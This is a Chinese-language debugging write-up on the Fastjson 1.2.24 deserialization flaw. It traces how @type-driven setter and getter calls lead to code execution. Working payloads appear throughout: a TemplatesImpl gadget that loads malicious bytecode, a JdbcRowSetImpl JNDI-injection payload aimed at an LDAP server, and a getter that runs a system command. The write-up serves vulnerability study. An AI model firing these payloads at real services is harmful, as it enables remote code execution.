引入fastJson 1.2.24

环境:jdk8u181
为了方便切换fastjson的各个版本,我创建一个maven项目,在pom.xml引入FastJson

  1. <dependencies>
  2. <dependency>
  3. <groupId>junit</groupId>
  4. <artifactId>junit</artifactId>
  5. <version>4.11</version>
  6. <scope>test</scope>
  7. </dependency>
  8. <dependency>
  9. <groupId>com.alibaba</groupId>
  10. <artifactId>fastjson</artifactId>
  11. <version>1.2.24</version>
  12. </dependency>
  13. </dependencies>

然后写一个简单的javaBean

  1. package com.aaron.test;
  2. public class User {
  3. private String name;
  4. private String age;
  5. public String getName() {
  6. System.out.println("getName is running!");
  7. return name;
  8. }
  9. public void setName(String name) {
  10. System.out.println("SetName is running!");
  11. this.name = name;
  12. }
  13. public String getAge() {
  14. return age;
  15. }
  16. public void setAge(String age) {
  17. this.age = age;
  18. }
  19. @Override
  20. public String toString(){
  21. return "User{" +
  22. "name='" + name + '\'' + ',' + "age='" + age + '\'' +
  23. '}';
  24. }
  25. }

在以上基础上,构建一个Main类,使用fastjson来解析

  1. package com.aaron.test;
  2. import com.alibaba.fastjson.JSON;
  3. public class Main {
  4. public static void main(String[] args) {
  5. String json = "{\"@type\":\"com.aaron.test.User\", \"name\":\"aaron\",\"age\":\"23\"}";
  6. Object obj = JSON.parse(json);
  7. System.out.println(obj);
  8. }
  9. }

运行main方法
image.png
fastjson 会解析该字符串,将其解析成object,就可以看到解析完成之后的User{name=’aaron’, age=’23’},在这个过程中,SetName 方法是被调用了
上面代码中输出的是一个Object类型的对象,但是从输出结果中看到该Object对象已经被解析为了User类型的对象。这就是json数据中的@type属性起的作用,
Fastjson支持在json数据中使用@type属性指定该json数据被反序列为什么类型的对象。
同时控制台也输出了 SetName is running! ,
说明在反序列化对象时,会执行javabean的setter方法为其属性赋值。

调试

调试fastjson可让我花了不少力气,虽然我们都知道触发漏洞是在getter/setter处,fastjson会直接反射需要反序列化的类,并调用setter方法进行赋值,但是这个调试真是太麻烦了!
那么就开始调试!我丢!

强制进入parse函数
image.png
首先进入之后就会调用parse()函数,继续进入parse()函数
image.png
依次步进,在这里又调用了parser对象的parse方法,继续进入
image.png
继续进入parse函数
image.png
单步运行,直到case 12,这里调用了parseObject函数,继续进入
image.pngimage.png
进入parseObject函数,继续单步
image.png
image.png
在这里调用了deserializer实例方法的deserializer函数,看这个函数有点像,而且还传入了this(分析上下文应该是传入待解析的json),clazz,还有filedname,这里其实clazz已经从@type处已经找到字节码了
image.png
进入deserializer方法,在这里有个巨坑,强制进入都一直进不去,我只有手动进入,艹!
image.png
第一次手动进入,就到下面这个函数,这个函数继续手动进入deserializer函数
image.png
到这个函数,打上断点才可以继续调试
image.png
继续单步,不知道走了多少步。。。到了这里,刚刚就是在拆解json字符串,把key和Object构造好
image.png
然后进入parseField函数
image.png
单步运行到执行parseField方法处,艹,他妈的!再进入
image.png
image.png
继续单步,经过一系列的if…else…终于看到点希望,我擦,直到看到了setValue函数,艹
image.png
我们进入setValue函数,可以看到这里将value,fieldInfo都传进来了
image.png
然后通过反射,去取相对应的setter方法

  1. Method method = this.fieldInfo.method

如果存在setter方法
image.png
则直接调用该方法赋值
image.png
然后就到我们的setter方法这儿,就会打印SetName is running!
image.png
调这几把玩意人给调傻了,在deserializer方法,一直无法进入,手工进入找到调用的方法后才进行下一步

结论

调试完毕之后,就可以得到结论

  1. fileldinfo中包含JavaBean的属性名称(private)及其setter,getter等method方法,然后通过反射调用setter方法进行赋值
  2. 当JavaBean存在属性为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection类型,且fieldinfo.getOnly值为true时(当javabean的属性没有setter方法,只有getter方法时,该值为true),在反序列化时会调用该属性的getter方法

    测试

    image.png
    在setValue函数中,我们可以看到,this.fieldInfo满足私有属性(private)且getOnly的时候,意思是只存在getter方法,不存在setter方法的时候,且类型为AtomicInteger,AtomicLong,AtomicBoolean,Map,Collection的时候,会直接调用getter方法,这里我用AtomicInteger示例

    1. // javaBean
    2. public class User {
    3. private String name;
    4. private String age;
    5. private AtomicInteger test;
    6. public AtomicInteger getTest() {
    7. try{
    8. Runtime.getRuntime().exec("gnome-calculator");
    9. }catch (Exception e){
    10. e.printStackTrace();
    11. }
    12. return test;
    13. }
    14. }

    image.png ```java // Main package com.aaron.test;

import com.alibaba.fastjson.JSON;

public class Main { public static void main(String[] args) { String json = “{\”@type\”:\”com.aaron.test.User\”,\”test\”:12,\”name\”:\”aaron\”,\”age\”:\”23\”}”; Object obj = JSON.parse(json); System.out.println(obj); } }

  1. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/21929389/1625455755845-3b52c6fc-7c10-4c9f-95a5-6ab9a3649d89.png#clientId=u36330acf-809f-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=300&id=uf29d235c&margin=%5Bobject%20Object%5D&name=image.png&originHeight=300&originWidth=1071&originalType=binary&ratio=1&rotation=0&showTitle=false&size=31156&status=done&style=none&taskId=uf95ae7af-6803-4c70-8f53-a3cb75733d7&title=&width=1071)<br />运行结果如下图所示,我在此处执行了getter方法,而我的getter方法里却实现了弹出计算器的命令执行代码,当invoke之后,调用getter方法,执行命令<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/21929389/1625469932376-e6d703d5-4e4d-426a-8973-673f4c71a75c.png#clientId=uf90b9572-13fb-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=658&id=uc7378427&margin=%5Bobject%20Object%5D&name=image.png&originHeight=658&originWidth=1836&originalType=binary&ratio=1&rotation=0&showTitle=false&size=122381&status=done&style=none&taskId=uecee38cd-9e4b-45ec-a175-0769fe02534&title=&width=1836)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/21929389/1625455779505-c55173a6-ed2e-4f48-83ac-b45eec0864cd.png#clientId=u36330acf-809f-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=564&id=QCnQM&margin=%5Bobject%20Object%5D&name=image.png&originHeight=564&originWidth=1460&originalType=binary&ratio=1&rotation=0&showTitle=false&size=81126&status=done&style=none&taskId=u025eb041-930b-4f38-b68c-32b0f305e2a&title=&width=1460)
  2. <a name="rV86h"></a>
  3. ### 通过getter触发gadget
  4. 测试类选择TemplatesImpl,首先探测可用于触发getter gadgets,如下图所示,可以看到`_auxClasses``_outputProperties`属性是map类,首先满足第一条件,继续寻找是否只有getter方法<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/21929389/1625471768066-1548e054-79b0-4871-b6c6-72a49cb5416b.png#clientId=uf90b9572-13fb-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=831&id=u2aeb8a32&margin=%5Bobject%20Object%5D&name=image.png&originHeight=831&originWidth=1009&originalType=binary&ratio=1&rotation=0&showTitle=false&size=105750&status=done&style=none&taskId=udc49007f-a0f3-415c-b0d5-67029f3789b&title=&width=1009)<br />在这里可以看到满足条件的两个属性`_auxClasses`,`_outputProperties`,只有`_outputProperties`属性是存在getter方法<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/21929389/1625472660143-cdfba4d6-5c11-4bbb-86e4-482bae2d81d1.png#clientId=uf90b9572-13fb-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=857&id=u0331944e&margin=%5Bobject%20Object%5D&name=image.png&originHeight=857&originWidth=789&originalType=binary&ratio=1&rotation=0&showTitle=false&size=79572&status=done&style=none&taskId=uc6a0bc94-57db-4793-bc39-2d65d17a3ce&title=&width=789)<br />我最初是在网上找了一个复现poc
  5. ```java
  6. public class TemplatesImplTest {
  7. public static void main(String[] args) throws Exception {
  8. String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  9. // 获取Exec的字节码
  10. String byteCode = FileTools.getEvil(Class.forName("com.fastjson.tools.Exec"));
  11. String json = "{\"@type\":\"" + className + "\"," +
  12. "\"_bytecodes\":[\"" + byteCode + "\"]," +
  13. "'_name':''," +
  14. "'_tfactory':{}," +
  15. "\"_outputProperties\":{}," +
  16. "\"_name\":\"\"," +
  17. "\"_version\":\"\"," +
  18. "\"allowedProtocols\":\"\"}";
  19. System.out.println(json);
  20. // 设置反序列化时对类的私有属性进行赋值
  21. JSON.parse(json, Feature.SupportNonPublicField);
  22. }
  23. }

当时我也没有想通,为什么要有这些参数,通过反射看了构造函数,以及找了很多很多文章学习,也没有发现什么共同点,直到最后靠自己调试!卧槽,真他妈疯了,又搞了一下午,不过总得来说,自己总结学习到的东西还是很有帮助的。

  • 首先我们知道,fastjson会根据json字符串遍历key,然后再调用getter/setter赋值操作
  • 然后,我们利用的方式是getOnly,只有getter方法,没有setter方法
  • 最后,在invoke之后,TemplatesImpl具体又执行了什么呢?

我在这里做一个测试,在invoke之后强制进入找找问题所在,我把json数据改成如下所示,将_tfactory_outputProperties换一个位置

  1. String json = "{\"@type\":\"" + className + "\"," +
  2. "\"_bytecodes\":[\"" + byteCode + "\"]," +
  3. "'_name':''," +
  4. "\"_outputProperties\":{},"+
  5. "'_tfactory':{}}";

然后再进行调试,我们着重看outputProperties触发处,在invoke处进入
image.png
然后我们可以看到,这里要进行了newTransformer(),在这里请注意我们要反序列化的字符串的顺序,此时_bytecodes_name,已经完成赋值,但是,_tfactor_outputProperties还未赋值,此时我们进入newTransforemer()方法
image.png
在这里我们要实例化的transformer,需要传入参数,但是_tfactor是null
image.png
我们进入getTransletInstance()函数,this中,_class[_transletIndex] 是初始化的数组,因为_transletIndex = -1了,还有待传入的_tfactor为null,可以看到_class=null,要执行defineTransletClasses()方法,进入该方法
image.png
image.png
当我继续向下执行的时候,就直接捕获异常了
image.png
那么我将_tfactor_outputProperties更换位置呢?先让_tfactor取到值,再进行下一步实例化呢?
image.png
image.png
image.png
image.png
这里就直接进入try代码块了
image.png
执行完defineTransletClasses(),之后,得到了_class[_transletIndex] 为我们写入的恶意字节码
image.png
然后再对_class[_transletIndex] 进行实例化(newInstance()) 即可加载恶意构造函数

getter gadget链路

当反序列化com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类时,由于_outputProperties 属性是Map属性,且该属性只有getter方法,没有setter方法,因此会有如下的调用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() => new Transformer() => getTranslateInstance() => defineTransletClasses(),到了这里,会读取_bytecodes[]属性中的字节码,然后在判断是否是继承于AbstractTranslet类
image.png
最后调用newInstance()方法实例化该类的对象,该方法是调用该类的缺省构造函数实例化对象
虽然上面的测试代码给_byteCodes 属性传入的字节码是经过base64编码的,但是在defineTransletClasses()方法中加载字节码之前,在com.alibaba.fastjson.parser.JSONScanner.bytesValue()方法中,已经将其解码了

通过setter方法触发gadget

我们使用JdbcRowSetImpl 类,这里用的就是JDNI注入,具体可以看JNDI注入之com.sun.rowset.JdbcRowSetImpl 利用链
这里我简单写一下客户端的代码

  1. package com.aaron.test;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. public class TemplatesImplTest {
  5. public static void main(String[] args)throws Exception {
  6. String className = "com.sun.rowset.JdbcRowSetImpl";
  7. String ldapPath = "ldap://127.0.0.1:1389/aa";
  8. String json = "{\"@type\":\""+className+"\" ,"+
  9. "\"dataSourceName\":\""+ldapPath+"\","+
  10. "\"autoCommit\":true"+
  11. "}";
  12. System.out.println(json);
  13. JSON.parse(json, Feature.SupportNonPublicField);
  14. }
  15. }

image.png

Setter gadget 链路

链路很简单了
在对com.sun.rowset.JdbcRowSetImpl类反序列化时,会先执行dataSourceName属性的setter方法,给dataSourceName属性赋值为ldap://127.0.0.1:1099/XX,然后执行autoCommit属性的setter方法,有如下调用链:
setAutoCommit() —> connect() —> ctx.lookup(getDataSourceName()),这里就造成了JNDI注入
通过marshalsec工具启动一个ldap服务,再启一个web服务专门放字节码,然后客户端就可以下载恶意字节码,完成JNDI注入